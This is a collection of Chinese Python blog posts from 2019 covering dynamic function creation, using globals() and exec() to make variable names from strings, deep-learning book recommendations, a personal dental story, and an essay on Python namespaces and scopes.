
4. argdefs(可选)

通过传入一个包含任意类型的对象的元组,提供了一个方式来供应默认参数值(def foo(bar=“baz”))。(FunctionType((lambda bar: bar).__code__, {}, “foo”, (10,))() == 10)。

5. closure(可选)

(如果需要在 CPython(PyPy,Jython,…)以外的其它 Python VM 中执行,可能不应该触及,因为它严重地依赖于实现细节)。
一个cell 对象的元组。创建 cell 对象并非完全是直截了当的,因为需要调用 CPython 的内部组件,但有一个库可以令它更加方便:exalt (无耻的广告)。(译注:这个库是作者开发的。)
>>> foo_code = compile('def foo(): return "bar"', "<string>", "exec")
compile() 是一个内置方法,因此同时也是文档丰富的。
exec 模式被用到,因为定义函数需要用多个语句。
>>> foo_func = FunctionType(foo_code.co_consts[0], globals(), "foo")
聚合全部内容,并将动态创建的函数指定给一个变量。
那个被前一句代码编译成的函数,成为了生成的代码对象的第一个常量,因此仅仅指向 foo_code 是不充分的。这是 exec 模式的直接后果,因为生成的代码对象可以包含多个常量。
>>> print(foo_func())
动态生成的函数可以像其它函数一样被调用。

结尾

  • 除了做实验,需要用到动态创建函数的场景很少。
  • 玩耍(Toying around) Python 的内部构件是一种深入学习这门语言的好方法。
  • 如果需要,可以毫不费力地越过解释器/语言的界线。
还是一如既往地:不要滥用语言 (好吧,一点点也无妨,对吧?)
--------(译文完)--------
花下猫语: 在上一篇《Python进阶:如何将字符串常量转为变量?》中,我介绍了两种动态修改变量 的方法(globals() 与 exec())。写完之后,我偶然发现,在自己列的“计划转载清单”中,有这一篇相关的文章,它介绍了动态定义函数 的方法。因为它的相关度太大,而篇幅又是那么小(核心代码只有三行,文中其它内容都是在解释其背后的原理),我觉得如果翻译出来的话,效果会更好,所以就抓紧时间翻译出来了。建议与前一篇文章配合阅读。

March 18, 2019 12:00 AM

March 17, 2019

pythoncat

Python 进阶:如何将字符串常量转化为变量?

前几天,我们Python猫交流学习群 里的 M 同学提了个问题。这个问题挺有意思,经初次讨论,我们认为它无解。
然而,我认为它很有价值,应该继续思考怎么解决,所以就在私密的知识星球上记录了下来。
万万没想到的是,在第二天,有两位同学接连给出了解决方法!
由此,群内出现了一轮热烈的技术交流。
本文将相关的内容要点作了梳理,并由此引申到更进一步的学习话题,希望对你有所帮助。

1、如何动态生成变量名?

M 同学的问题如下:

打扰一下大家,请教一个问题,已知 list = [‘A’, ‘B’, ‘C’, ‘D’] , 如何才能得到以 list 中元素命名的新列表 A = [], B = [], C = [], D = [] 呢?

简单理解,这个问题的意思是,将字符串内容作为其它对象的变量名。
list 中的元素是字符串,此处的 ‘A’-‘D’ 是常量 ,而在要求的结果中,A-D 是变量
如果强行直接将常量当做变量使用,它会报错:
>>> 'A' = []
...SyntaxError: can't assign to literal
报错中的literal 指的是字面量 ,这是计算机科学中常见的一个概念,用于表达源代码中的固定值。 例如,整数、浮点数、字符串等基本类型,就是字面量。
字面量指的就是一个量本身,可以理解为一种原子性的实体,当然不能再被赋值了。
所以,取出的字符串内容,并不能直接用作变量名,需要另想办法。
有初学者可能会想,list[0] = [] 行不行?当然不行,因为没有出现 A 。那 A = list[0] ,接着 A = [] 呢?那也不行,因为这里的 A 是你凭空定义出来的,而不是从已有条件中生成的。
当时,群里只有两三个同学参与了讨论,我们没想到解决办法。但是,我觉得这个题目很有意思,值得玩味。
因为,如果能解决这个问题,那就意味着可以不作预先定义,而是动态地生成变量名,这不仅能减少给变量取名的麻烦,还实现了自动编码!
可以设想一下未来,人工智能在编写代码的时候,如果能根据已知条件,动态生成变量名,那编写代码的过程不就顺利多了么?(据说,现在已经有人工智能可以编写代码了,不知它在取变量名时,是用的什么方法?)

2、办法总是有的

最近,学习群里蒙混进来了几个打广告的,为此,我决定提高审核门槛,例如,用群里的问题来作个考核。
万万没想到的是,第一个被考核到的 Q 同学,几乎不假思索地就说出了一个解决上述问题的思路。而偏偏就是那么巧 ,几乎在同时,群内的 J 同学给出了另外一个解决方法(他没看到群内的讨论,而是看到了知识星球的记录,才知道这个问题的)。
也就是说,前一晚还以为无解的问题,在第二天竟得到了两种不同的解决方法!
那么,他们的答案是什么呢?
# J 同学的解答
>>> list1 = ['A', 'B', 'C', 'D']
>>> for i in list1:
>>>     globals()[i] = []
>>> A
[]
这个方法通过修改全局命名空间,巧妙地“定义”出了新的变量。globals() 方法取出来的是一个字典,字符串 ‘A’ 是其中一个键值(key),而这个键值恰恰是全局命名空间中的一个变量,这就实现了从常量到变量的转化。
在数据结构层面上,空列表 [] 作为一个值(value)跟它的字符串键值绑定在一起,而在运用层面上,它作为变量内容而跟变量名绑定在一起。
看到这个回答的时候,我就突然想起来了,上个月转载过一篇《Python 动态赋值的陷阱》,讲的正是动态地进行变量赋值 的问题啊!我似乎只关注了 globals() 与 locals() 用法的区别,却没有真正地掌握它们的原初用途。
J 同学说,他正是看了那篇文章,才学得了这个方法。这就有意思了,我分享了一个自己囫囵吞枣的知识,然后它被 J 同学吸收掌握,最后反馈回来解决了我的难题。
我真切地感受到了知识分享的魅力:知识在流动中获得生命,在碰撞中锃亮色泽。
同时,我也真切地明白了一个互助的学习团体的好处:利人者也利己,互助者共同进步。

3、动态执行代码的方法

新进群的 Q 同学,提供了一个不同的答案:
# Q 同学的解答
>>> list1 = ['A', 'B', 'C', 'D']
>>> for i in list1:
>>>     exec(f"{i} = []")
>>> A
[]
他的写法用到了 Python 3.6 才引入的 f-strings 特性,事实上,在较低版本中,也是可以实现的,只需要保证 exec() 方法接收的参数是包含了变量 i 的字符串即可,例如这样写:
# 以下代码可替换上例的第 4 行
exec(i + " = []")
# 或者:
exec("{} = []".format(i))
# 或者:
exec(' '.join([i, '= []']))
这几种写法的区别只是字符串拼接法的区别,关于如何拼接字符串,以及不同方法之间的区别,可参看《详解Python拼接字符串的七种方式》。
Q 同学这个答案的核心在于 exec() 方法,它是内置的,用途是执行储存在字符串或文件中的代码段。
它的基础用法如下:
>>> exec('x = 1 + 2')
>>> x
3

# 执行代码段
>>> s = """
>>> x = 10
>>> y = 20
>>> sum = x + y
>>> print(sum)
>>> """
>>> exec(s)
30
看完了 exec() 的用法,我们再回来看 Q 同学的答案。for-循环中取出来的 i 是字符串,而拼接后的字符串经过 exec() 的处理,就获得了动态编写代码的效果。
也就是说,因为字符串常量的内容被当做有效代码而执行了,其中的 ‘A’-‘D’ 元素,就取得了新的身份,变成了最终的 A-D 变量名。
这个方法看起来很简单啊,可是由于 exec() 方法太生僻了,直到 Q 同学提出,我们才醒悟过来。

注意:在 Python3 中,exec() 是个内置方法;而在 Python2 中,exec 是个语句(statement),另外有个 execfile() 方法,两者相合并,就成了 Python3 中的 exec() 方法。本文使用的是 Python3。

4、总结

抽象一下最初的问题,它实际问的是“如何将字符串内容作为其它对象的变量名”,更进一步地讲是——“如何将常量转化为变量 ”。
使用直接进行赋值的静态方法,行不通。
两位同学提出的方法都是间接的动态方法:一个是动态地进行变量赋值,通过修改命名空间而植入变量;一个是动态地执行代码,可以说是通过“走后门”的方式,安插了变量。
两种方法殊途同归,不管是白猫还是黑猫,它们都抓到了老鼠。
这两种方法已经给我们带来了很有价值的启发,同时,因为它们,群内小伙伴们更是发散地讨论一些相关联的话题,例如:S 同学提出了另一种修改命名空间中变量的写法、L 同学提到了 eval() 的意义、eval() 与 exec() 的区别、我查到了为什么要慎用 eval() 、C 与 H 同学提到了 eval() 的安全用法…
虽然,某些话题无法在群聊中充分展开,但是,这些话题知识的延展联系,大大地丰富了本文开头的问题,这一个微小的问题,牵连出来了两个大的知识体系。
最后,真得感谢群内的这些爱学习的优秀的同志们!除了文中提及的,还有一些同学也做了积极贡献,大家都很给力!
相关链接:
eval()、exec()及其相关函数:https://www.tuicool.com/wx/vEbeumE

March 17, 2019 12:00 AM

March 08, 2019

pythoncat

Python猫荐书系列之六:文也深度学习,理也深度学习

最近出了两件大新闻,相信大家可能有所耳闻。
我来当个播报员,给大家转述一下:
1、中国队在第 11 界罗马尼亚数学大师赛(RMM)中无缘金牌。该项赛事是三大国际赛事之一,被誉为中学奥数的最高难度。其中一道题,令中国队全军覆没。
2、一个出自清华姚班,毕业于斯坦福的女博士,她的毕业论文成了学术圈的“爆款”。这篇论文研究的主题是——如何让机器学会理解人类语言?
每天的新闻多如牛毛,唯独这两件引起了我的注意。它们跟本期的荐书栏目也是强关联,下面就给大家说道说道。
上图标出了中国队成绩最好的三名队员。前两人在其它题目全部满分的情况下,第三题竟然是 0 分!什么样的题目能让我们的顶尖高手都束手无策呢?
算了,题目我就不放出来了(我看不懂,不自找其辱。总之你们知道它很难就得了)。但是,那道题是图论的问题,关于图论,我们可以说说它跟计算机科学的关系。
图论是数学的一个分支,它研究的最著名问题有柯尼斯堡七桥问题四色地图问题 ,相信大家都曾见过,而在计算机领域,它也带来了诸多的研究成果:最小生成树问题、旅行商问题(NP困难)、拓扑排序算法、广度优先算法、深度优先算法,等等。
奥数就这样跟程序员的职业联系了起来。然而,更值得一提的是第二个新闻:它研究的是人工智能领域最前沿的话题,想构建一个在深度神经网络之上的阅读理解模型 。简单地说是,教会计算机来阅读文本的能力。
这项研究与大家熟知的数字个人助理不同(如 Alexa、Siri、Google Assistant、Cortana),它的难度超越了简单会话与信息匹配的一般性问题,想克服的是文本级阅读理解,与开放性问答等高度抽象层面的难关。
它的研究成果将给数字个人助理带来质的提升,而对于人类语言文本的阅读理解能力,也必然带来更广阔的应用前途。这一切,都归功于深度学习。
深度学习是我很感兴趣的领域。
我们有幸生在这个时代,见证了 AlphaGo 打败人类的顶尖棋手,正在见证各种 AI 技术的出现,无人驾驶、医疗诊断、AI 翻译、金融科技、深度法律…
我们的未来将被人工智能深远地影响。
本期Python 猫荐书栏目(系列之六),就以此为话题,推荐给大家两本书:
它们都叫《深度学习》,但是内容很不一样。
第一本从应用数学,到深度学习的各种模型、算法与科研问题,走的是极其专业的路线。
而另一本讲的是深度学习的 60 年发展史,以及对智能时代的一些前瞻性预测,走的是通俗科普的路线。
如果要强行划分的话,前一本属理科,主要给相关领域的学生与程序员阅读,而后一本则属文科,面向所有对人工智能的历史与未来感兴趣的人群。
事实上,第一本书被很多人誉为深度学习的圣经,知名度极高,有一个昵称叫作“花书”。
简单梳理一下它的内容:
  • 第一部分是深度学习的基础,包含线性代数与概率论等数学知识,以及梯度优化、拟合、偏差、最大似然估计与监督学习等基础概念;
  • 第二部分是深度学习的关键部分,涉及深度前馈网络、正则化、模型优化的方法、卷积网络、序列建模、与实践应用内容;
  • 第三部分是深度学习研究,例如线性因子模型、自编码器、表示学习、结构化概率模型、蒙特卡罗方法、直面配分函数、近似推断、深度生成模型,等等。
要知道,本专栏是兴趣大于能力,没办法深入剖析这本书的精华,再讲出些令行家也折服的话,但是,这本书值得推荐之处也很显著:它是一种正统的、学院派的、知识全面的、一丝不苟的、偏重理论的书籍,没错,正像是大学里相关专业的指定参考书。
这就意味着,如果想进入深度学习领域,这本书将是你最好的老师。(而且不用考试,手动滑稽)
至于第二本《深度学习》,书的副标题是“智能时代的核心驱动力量 ”。其实这只是翻译的结果,原书的英文名是《The Deep Learning Revolution》。
20 世纪 70 年代到 90 年代是深度学习(神经网络)的寒冬,本书作者既是深度学习的先驱与奠基者,也是打破此寒冬,令深度学习东山再起的大功臣。他名叫特伦斯·谢诺夫斯基 (Terrence Sejnowski)。
特伦斯是谁呢?世界十大AI科学家之一,美国四大国家学院(国家科学院、国家医学院、国家工程院、国家艺术与科学学院)在世仅3位的“四院院士 ”之一,全球AI专业会议NIPS基金会主席。
深度学习的核心技术玻尔兹曼机 ,正是由特伦斯与杰弗里·辛顿共同建立的。
那书的内容是什么呢?这本书在前言中称:这是一本关于深度学习的过去、现在和未来的指南。 在如此宏观的视角下,它主要讲到了一些重要概念的发展、科研群体研究的内容和传承,以及深度学习对当今社会的影响。
也就是说,它不再关心微观的原理、底层的细节、繁复的逻辑。与第一本书的调性截然不同。
这本书以第一人称视角讲述,带入了很多个人的动态:读书经历、研究课题、演讲与会议、人际关系、趣闻、甚至还有八卦(例如差点跟女朋友分手的一次会议。PS:他们在一起了,现在也没分开)。
因此,第二本书的阅读门槛不高,还饶有趣味。
往期荐书回顾: 第一期:《编写高质量代码改善 Python 程序的 91 个建议》 第二期:《Python最佳实践指南》 第三期:《黑客与画家》 第四期:《Python源码剖析》 第五期:《Python高性能编程
-------------荐书完-------------
世事无巧不成书。似乎每期荐书都会发生一些巧合,因此我得额外交代几句:
1、我早知第一本书的大名,也翻看过数学部分的一些内容,但是兴趣就止步于此。有打算纳其入荐书系列,但没想到会这么快。至于第二本书,恰好是在上期荐书发布后,中信出版社的营销人员找我约稿,当时这本书还没上市。我并非深度学习领域的专家,只能写写旁观者的言语,既然无法深入,干脆就将它们凑在一起了。
2、荐书栏目不是专业书评,无法讲透全书的技术精粹,但我仍大着胆写了(之所以拖了这么久才动笔,就是因为过于担心)。一方面逼使自己阅读和查资料,快速归纳与写作;另一方面也确实是希望通过自己的文笔,能够使一部分读者获知到原先不知的信息,产生阅读的兴趣。
3、就在前几天(2 月 28 日),一位知名的 Python 博主@Vamei 因抑郁症自杀了。我在看资料的时候,发现他也写了第二本《深度学习》的书评。他发布的时间是 1 月 31 日,而在这个时间,新书还未上市。这意味着他可能跟我一样,都收到了出版社的预读本,我们就是那么巧合地在同样的时间里阅读着同一本还未上市的新书。我想,这本书大概就是在给我传递一个讯息。我有很多次想过放弃邀约(无稿费,赠书一本)、放弃写这一篇荐书,直到前几天才真正开始动笔。这个神秘的讯息就这么巧地传过来了。荐书,见人。写完这篇荐书,我要写写他了。
4、Vamei 的豆瓣主页写道:

Vamei 是赤道附近一个台风的名字。按照气象规律,台风不常出现在赤道。所以,Vamei是一个离群的风,无所顾忌地生长,不着边际地游荡。

March 08, 2019 12:00 AM

March 02, 2019

pythoncat

记一次牙疼补牙的经历

你知道牙痛有多难受么?我以前不知道,但这两天知道了。
我大概有两年没用过右侧的牙吃东西了,因为会有酸疼感。但是,一直没太上心,就没去就医。上周,由于左侧下方的牙龈长了个小包包,我开始逼自己用右侧牙吃东西。然而,就在我开心地吃着下午茶,磕着瓜子吃着桂圆的时候,右侧牙齿突然一阵剧痛。我当时就冒了眼泪。
当天晚上,牙齿只是有点不舒服,但是不严重。我自己查了下,感觉是牙髓炎,打算着到周末去医院看看。
第二天,还是隐痛,一阵一阵。不过明显痛感大了些。于是,在傍晚时,我就吃了止痛药和治疗牙髓炎的药。但是,药效一直没发挥作用,到睡前 1 个多小时,我痛得在床上打滚,眼睛都张不开。那一阵持续了挺久,不知道是不是因为洗澡时刷牙刺激到的。
我当时感觉是右侧下方的最后一颗牙有毛病,在镜子中确实看到牙齿上有个坑。
第三天是周五,我们去了医院看牙。可是奇怪的是,当天白天,牙齿与我几乎相安无事,没怎么疼,也不怎么严重。医生看了看,说右侧上方的牙齿也蛀掉了!他建议先不动,等牙再疼的时候,做一下检测,确认到底是哪颗牙的毛病。
既然不疼了,感觉就不急着做手术了,所以我们就打道回府了。然而,白天的无辜的牙齿,到了夜晚就现出了无比狰狞的面目——它持续不断地折磨了我一整晚,以及一早上!
这次的痛与第二天晚上不大一样,它没有了刺痛感,但是把我左侧的神经全部牵动了——牙疼、牙龈疼、脸部疼、直到头上也疼。这次摸清楚了,左侧下方牙齿不疼,真正疼的是上方的那颗!这个家伙,真会闹事啊,一点都不含蓄了。
我疼得完全睡不着,左翻翻右翻翻。在前半夜,我盖了厚厚的被子,却寒意阵阵,冷得发抖,牙关打颤。而到了后半夜,体温大逆转,我热得全身冒汗,一度以为自己发烧了。
为了保留疼,以便醒来去医院就医,所以我没敢吃药,一直忍受着。我尝试了一些方法来减轻痛感:按揉脸颊、眼眶和太阳穴。开始有用,很快又被痛觉淹没。
然后就到了今天早上,我们再次去了医院。
医生分别用冷热测试了那颗坏牙,而我没有感觉到疼。然后,他给我拍了片,指着告诉我们,牙齿已经蛀得很深了,已经贴近了牙髓神经,很有可能已经渗透感染了。给了两个方案:一是先用安慰药敷上,如果不再疼,说明没伤到牙髓,就只补牙;二是直接开牙,把神经捣坏,来个三四次治疗,最后补上。
我们选了后一种。由于一夜没睡,我头疼发困,等打了麻药,我就只会张大嘴,任人“宰割”了——只感觉他用了好几种不同的器械,激激激地在磨牙或者刮来刮去。我看不到,也没有痛感,但是似乎闻到了牙齿被琢磨出的、类似某种建筑材料的味道。
这次手术以牙洞被暂时填上告终,而这不是最终结果,我可能还得过去三趟。我要成为医院的常客了。而且,这只是对右侧上方的牙齿的治疗,右侧下方那个蛀洞也得填上呢!
回家的路上,麻药逐渐失效,牙疼虽然已经减轻了,但一直还提醒着自己的存在。而我的头疼不合时宜地来凑热闹!
在冷雨飘飘的街上,我感觉很无助。突然想到一个问题:古人是怎么应对牙疼的呢?豌豆开玩笑地说等死。又说可能会敷上什么草药之类的。
牙疼可不会区分朝代啊,蛀牙对我们是一视同仁——现代的卫生条件好很多,但是病灶的诱因也更多,谁不好好呵护自己的牙齿,他/她就必然会被牙齿反噬。
我想起了自己的不良习惯——总喜欢吃甜食,从小就没有在睡前刷牙的习惯,而每次刷牙都略显马虎…这几年,我用上了电动牙刷,每天也坚持刷两次牙。但是如今看来,过去的毛病要来讨债了,出来混,总是要还的。
写完这篇东西,我感觉舒服了很多。真得好好反省一下了,年纪不小了,健康问题不该轻视了,年轻的资本可禁不起随意挥霍啊!
最后,提醒一下大家:一定要呵护好自己的牙啊,保持口腔健康啊,有毛病要及时就医啊。我的惨痛教训在上,请明鉴。

March 02, 2019 12:00 AM

February 24, 2019

pythoncat

Python 与家国天下

导读: Python猫是一只喵星来客,它爱地球的一切,特别爱优雅而无所不能的 Python。我是它的人类朋友豌豆花下猫,被授权润色与发表它的文章。如果你是第一次看到这个系列文章,那我强烈建议,请先看看它写的前几篇文章(链接见文末),相信你一定会爱上这只神秘的哲学+极客猫的。不多说啦,一起来享用今天的“思想盛宴”吧!
喵喵,好久不见啦朋友们。刚吃完一餐美食,我觉得好满足啊。
自从习惯了地球的食物以后,我的肠胃发生了一些说不清道不明的反应。我能从最近的新陈代谢中感觉出来,自己的母胎习性正在逐渐地褪逝。
人类的食物在改变着我,或者说是在重塑着我。说不定哪天,我会变成一棵白菜,或者一条鱼呢…呸呸呸。我还是想当猫。
喵生苦短,得抓紧时间更文才行。
最近,我看到了两件事,觉得有趣极了,就从这开始说吧。第一件事是,一个小有名气的影视明星因为他不配得到的学术精英的身份而遭到讽刺性的打假制度的口诛笔伐;第二件事是,一个功成名就的企业高管因为从城市回到乡村而戏谑性地获得了猫屎的名号。
身份真是一个有魔力的话题。 看见他们的身份错位,我又总会想起自己的境况。
我(或许)知道自己在过去时态中是谁,但越来越把握不住在现在时态中的自己,更不清楚在未来时间中会是怎样。
该怎样在人类世界中自处呢?又该怎样跟你们共处呢?
思了好久,没有答案。脑壳疼,尾巴疼。还是不要想了啦喵。
继续跟大家聊聊 Python 吧。上次我们说到了对象的边界问题 。无论是固定边界还是弹性边界,这不外乎就是修身的两种志趣,有的对象呢独善其身其乐也融融,有的对象呢兼容并包其理想之光也莹莹。但是,边界问题还没讲完。
正如儒家经典所阐述:修身—齐家—治国—平天下。里层的势能推展开,走进更广阔的维度。
Python 对象的边界也不只在自身。这里有一种巧妙的映射关系:对象(身)—函数(家)—模块(国)—包(天下)。个体被纳入到不同的命名空间,并存活在分层的作用域里。(当然,幸运的是,它们并不会受到道德礼法的森严压迫~__~)

1、你的名字

我们先来审视一下模块。这是一个合适的尺度,由此展开,可以顺利地连接起函数与包。
模块是什么? 任何以.py 后缀结尾的文件就是一个模块(module)。
模块的好处是什么? 首先,便于拆分不同功能的代码,单一功能的少量代码更容易维护;其次,便于组装与重复利用,Python 以丰富的第三方模块而闻名;最后,模块创造了私密的命名空间,能有效地管理各类对象的命名。
可以说,模块是 Python 世界中最小的一种自恰的生态系统——除却直接在控制台中运行命令的情况外,模块是最小的可执行单位。
前面,我把模块类比成了国家,这当然是不伦不类的,因为你难以想象在现实世界中,会存在着数千数万的彼此殊然有别的国家(我指的可是在地球上,而喵星不同,以后细说)。
类比法有助于我们发挥思维的作用 ,因此,不妨就做此假设。如此一来,想想模块间的相互引用就太有趣了,这不是国家间的战争入侵,而是一种人道主义的援助啊,至于公民们的流动与迁徙,则可能成为一场探险之旅的谈资。
我还对模块的身份角色感兴趣。恰巧发现,在使用名字的时候,它们耍了一个双姓人的把戏
下面请看表演。先创建两个模块,A.py 与 B.py,它们的内容如下:
# A 模块的内容:
print("module A : ", __name__)

# B 模块的内容:
import A
print("module B : ", __name__)
其中,__name__ 指的是当前模块的名字。代码的逻辑是:A 模块会打印本模块的名字,B 模块由于引入了 A 模块,因此会先打印 A 模块的名字,再打印本模块的名字。
那么,结果是如何的呢?
执行 A.py 的结果:

module A : __main__

执行 B.py 的结果:

module A : test module B : __main__

你们看出问题的所在了吧!模块 A 前后竟然出现了两个不同的名字。这两个名字是什么意思,又为什么会有这样的不同呢?
我想这正体现的是名字的本质吧——对自己来说,我就是我,并不需要一个名字来标记;而对他人来说,ta 是芸芸众生的一个,唯有命名才能区分。
所以,一个模块自己称呼自己的时候(即执行自身时)是“__main__”,而给他人来称呼的时候(即被引用时),就会是该模块的本名。这真是一个巧妙的设定。
由于模块的名称二重性,我们可以加个判断,将某个模块不对外的内容隐藏起来。
# A 模块的内容:
print("module A : ", __name__)

if __name__ == "__main__":
    print("private info.")
以上代码中,只有在执行 A 模块本身时,才会打印“private info”,而当它被导入到其它模块中时,则不会执行到该部分的内容。

2、名字的时空

对于生物来说,我们有各种各样的属性,例如姓名、性别、年龄,等等。
对于 Python 的对象来说,它们也有各种属性。模块是一种对象,”__name__“就是它的一个属性。除此之外,模块还有如下最基本的属性:
>>> import A
>>> print(dir(A))
['__builtins__', '__cached__', '__doc__', '__file__', '__loader__', '__name__', '__package__', '__spec__']
在一个模块的全局空间里,有些属性是全局起作用的,Python 称之为全局变量 ,而其它在局部起作用的属性,会被称为局部变量
一个变量对应的是一个属性的名字,会关联到一个特定的值。通过 globals()locals() ,可以将变量的“名值对”打印出来。
x = 1

def foo():
    y = 2
    print("全局变量:", globals())
    print("局部变量:", locals())

foo()
在 IDE 中执行以上代码,结果:
全局变量: {'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x000001AC1EB7A400>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': 'C:/pythoncat/A.py', '__cached__': None, 'x': 1, 'foo': <function foo at 0x000001AC1EA73E18>}
局部变量: {'y': 2}
可以看出,x 是一个全局变量,对应的值是 1,而 y 是一个局部变量,对应的值是 2.
两种变量的作用域不同 :局部变量作用于函数内部,不可直接在外部使用;全局变量作用于全局,但是在函数内部只可访问,不可修改。
与 Java、C++ 等语言不同,Python 并不屈服于解析的便利,并不使用呆滞的花括号来编排作用域,而是用了轻巧简明的缩进方式。不过,所有编程语言在区分变量类型、区分作用域的意图上都是相似的:控制访问权限与管理变量命名
关于控制访问权限,在上述例子中,局部变量 y 的作用域仅限于 foo 方法内,若直接在外部使用,则会报错“NameError: name ‘y’ is not defined”。
关于管理变量命名,不同的作用域管理着各自的独立的名册,一个作用域内的名字所指称的是唯一的对象,而在不同作用域内的对象则可以重名。修改上述例子:
x = 1
y = 1

def foo():
    y = 2
    x = 2
    print("inside foo : x = " + str(x) + ", y = " + str(y))

foo()
print("outside foo : x = " + str(x) + ", y = " + str(y))
在全局作用域与局部作用域中命名了相同的变量,那么,打印的结果是什么呢?

inside foo : x = 2, y = 2 outside foo : x = 1, y = 1

可见,同一个名字可以出现在不同的作用域内,互不干扰。
那么,如何判断一个变量在哪个作用域内?对于嵌套作用域,以及变量名存在跨域分布的情况,要采用何种查找策略呢?
Python 设计了命名空间(namespace) 机制,一个命名空间在本质上是一个字典、一个名册,登记了所有变量的名字以及对应的值。 按照记录内容的不同,可分为四类:
  • 局部命名空间(local namespace),记录了函数的变量,包括函数的参数和局部定义的变量。可通过内置函数 locals() 查看。在函数被调用时创建,在函数退出时删除。
  • 全局命名空间(global namespace),记录了模块的变量,包括函数、类、其它导入的模块、模块级的变量和常量。可通过内置函数 globals() 查看。在模块加载时创建,一直存在。
  • 内置命名空间(build-in namespace),记录了所有模块共用的变量,包括一些内置的函数和异常。在解释器启动时创建,一直存在。
  • 命名空间包(namespace packages),包级别的命名空间,进行跨包的模块分组与管理。
命名空间总是存在于具体的作用域内,而作用域存在着优先级,查找变量的顺序是:局部/本地作用域 —> 全局/模块/包作用域 —> 内置作用域。
命名空间扮演了变量与作用域之间的桥梁角色,承担了管理命名、记录名值对与检索变量的任务。无怪乎《Python之禅》(The Zen of Python)在最后一句中说:

Namespaces are one honking great idea — let’s do more of those!

——译:命名空间是个牛bi哄哄的主意,应该多加运用!

3、看不见的客人

名字(变量)是身份问题,空间(作用域)是边界问题,命名空间兼而有之。
这两个问题恰恰是困扰着所有生灵的最核心的问题之二。它们的特点是:无处不在、层出不断、像一个超级大的被扯乱了的毛线球。
Python 是一种人工造物,它继承了人类的这些麻烦(这是不可避免的),所幸的是,这种简化版的麻烦能够得到解决。(现在当然是可解决的啦,但若人工智能高度发展以后呢?我看不一定吧。喵,好像想起了一个痛苦的梦。打住。)
这里就有几个问题(注:每个例子相互独立):
# 例1:
x = x + 1

# 例2:
x = 1
def foo():
    x = x + 1
foo()

# 例3:
x = 1
def foo():
    print(x)
    x = 2
foo()

# 例4:
def foo():
    if False:
        x = 3
    print(x)
foo()

# 例5:
if False:
    x = 3
print(x)
下面给出几个选项,请读者们思考一下,给每个例子选一个答案:

1、没有报错

2、报错:name ‘x’ is not defined

3、报错:local variable ‘x’ referenced before assignment

下面公布答案了:
全部例子都报错,其中例 1 和例 5 是第一类报错,即变量未经定义不可使用,而其它例子都是第二类报错,即已定义却未赋值的变量不可使用。为什么会报错?为什么报错会不同?下面逐一解释。
  1. 例 1 是一个定义变量的过程,本身未完成定义,而等号右侧就想使用变量 x,因此报变量未定义。

  2. 例 2 和例 3 中,已经定义了全局变量 x,如果只在 foo 函数中引用全局变量 x 或者只是定义新的局部变量 x 的话,都不会报错,但现在既有引用又有重名定义,这引发了一个新的问题。请看下例的解释。

  3. 例 4 中,if 语句判断失效,因此不会执行到 “x=3” 这句,照理来说 x 是未被定义。这时候,在 locals() 局部命名空间中也是没有内容的(读者可以试一下)。但是 print 方法却报找到了一个未赋值的变量 x ,这是为什么呢?

    使用 dis 模块查看 foo 函数的字节码:

    LOAD_FAST 这句说明它在局部作用域中找到了变量名 x。既然此时在 locals() 局部命名空间中没有内容,那局部作用域中找到的 x 是来自哪里的呢?(20190513update:有错,修改)

    实际上,Python 虽然是所谓的解释型语言,但它也有编译的过程 (跟 Java 等语言的编译过程不同)。在例 2-4 中,编译器先将 foo 方法解析成一个抽象语法树(abstract syntax tree),然后扫描树上的名字(name)节点,接着,所有被扫描出来的变量名,都会作为局部作用域的变量名存入内存(栈?)中。

    在编译期之后,局部作用域内的变量名已经确定了,只是没有赋值。在随后的解释期(即代码执行期),如果有赋值过程,则变量名与值才会被存入局部命名空间中,可通过 locals() 查看。只有存入了命名空间,变量才算真正地完成了定义(声明+赋值)。

    而上述 3 个例子之所以会报错,原因就是变量名已经被解析成局部变量,但是却未曾被赋值。

    可以推论:在局部作用域中查找变量,实际上是分查内存与查命名空间两步的。 另外,若想在局部作用域内修改全局变量,需要在作用域中写上 “global x”。

  4. 例 5 是作为例 4 的比对,也是对它的原理的补充。它们的区别是,一个不在函数内,一个在函数内,但是报错完全不同。前面分析了例 4 的背后原理是编译过程和抽象语法树,如果这个原理对例 5 也生效,那两者的报错应该是一样的。现在出现了差异,为什么呢?

    我得承认,这触及了我的知识盲区。我们可以推测,说例 5 的编译过程不同,它没有解析抽象语法树的步骤,但是,继续追问下去,为什么不同,为什么没有解析语法树的步骤呢?如果说是出于对解析函数与解析模块的代价考虑,或者其它考虑,那么新的问题是,编译与解析的底层原理是什么,如果有其它考虑,会是什么?

    这些问题真不可爱,一个都答不上。但是,自己一步一步地思考探寻到这一层,又能怪谁呢?

回到前面说过的话,命名空间是身份与边界的集成问题,它跟作用域密切相关。如今看来,编译器还会掺和一脚,把这些问题搅拌得更加复杂。
本来是在探问 Python 中的边界问题,到头来,却触碰到了自己的知识边界。真是反讽啊。(这一趟探知一个人工造物的身份问题之旅,最终是否会像走迷宫一般,进入到自己身份的困境之中?)

4、边界内外的边界

暂时把那些不可爱的问题抛开吧,继续说修身齐家治国平天下。
想要把国治理好,就不得不面对更多的国内问题与国际问题。
先看一个大家与小家的问题:
def make_averager():
    count = 0
    total = 0
    def averager(new_value):
        nonlocal count, total
        count += 1
        total += new_value
        return total / count
    return averager

averager = make_averager()
print(averager(10))
print(averager(11))

### 输出结果:
10.0
10.5
这里出现了嵌套函数,即函数内还包含其它函数。外部—内部函数的关系,就类似于模块—外部函数的关系,同样地,它们的作用域关系也相似:外部函数作用域—内部函数作用域,以及模块全局作用域—外部函数作用域。在内层作用域中,可以访问外层作用域的变量,但是不能直接修改,除非使用 nonlocal 作转化。
Python 3 中引入了 nonlocal 关键字来标识外部函数的作用域,它处于全局作用域与局部作用域之间,即 global—nonlocal—local 。也就是说,国—大家—小家。
上例中,nonlocal 关键字使得小家(内部函数)可以修改大家(外部函数)的变量,但是该变量并不是创建于小家,当小家函数执行完毕时,它并无权限清理这些变量。
nonlocal 只带来了修改权限,并不带来回收清理的权限 ,这导致外部函数的变量突破了原有的生命周期,成为自由变量。上例是一个求平均值的函数,由于自由变量的存在,每次调用时,新传入的参数会跟自由变量一起计算。
